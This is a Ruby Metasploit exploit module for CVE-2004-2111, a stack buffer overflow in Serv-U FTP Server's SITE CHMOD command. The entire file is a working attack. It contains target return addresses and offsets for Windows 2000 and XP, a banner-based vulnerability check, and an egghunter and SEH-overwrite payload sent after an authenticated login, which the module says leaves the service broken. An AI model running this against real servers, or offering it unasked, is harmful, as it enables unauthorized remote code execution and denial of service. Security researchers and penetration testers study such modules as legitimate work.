97 lines
2.4 KiB
Ruby
97 lines
2.4 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::Egghunter
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include Msf::Exploit::Remote::Ftp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Serv-U FTP Server Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in the site chmod command
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in versions of Serv-U FTP Server prior to 4.2.
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You must have valid credentials to trigger this vulnerability. Exploitation
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also leaves the service in a non-functional state.
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},
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'Author' => 'theLightCosine',
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2004-2111'],
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[ 'OSVDB', '3713'],
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[ 'BID', '9483'],
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],
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'Privileged' => true,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Payload' =>
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{
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'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
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'DisableNops' => true,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows 2000 SP0-4 EN', {
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'Ret' => 0x750212bc, #WS2HELP.DLL
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'Offset' => 396 } ],
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[ 'Windows XP SP0-1 EN', {
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'Ret' => 0x71aa388f, #WS2HELP.DLL
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'Offset' => 394 } ]
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],
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'DisclosureDate' => 'Dec 31 2004',
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'DefaultTarget' => 0))
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end
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def check
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connect
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disconnect
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if (banner =~ /Serv-U FTP Server v((4.(0|1))|3.\d)/)
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return Exploit::CheckCode::Appears
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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c = connect_login
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return if not c
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eggoptions =
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{
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:checksum => true,
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:eggtag => "W00T"
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}
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hunter,egg = generate_egghunter(payload.encoded,payload_badchars,eggoptions)
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buffer = "chmod 777 "
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buffer << make_nops(target['Offset'] - egg.length - hunter.length)
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buffer << egg
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buffer << hunter
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buffer << "\xeb\xc9\x41\x41" #nseh, jump back to egghunter
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buffer << [target.ret].pack('V') #seh
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buffer << rand_text(5000)
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print_status("Trying target #{target.name}...")
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send_cmd( ['SITE', buffer] , false)
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handler
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disconnect
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end
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end
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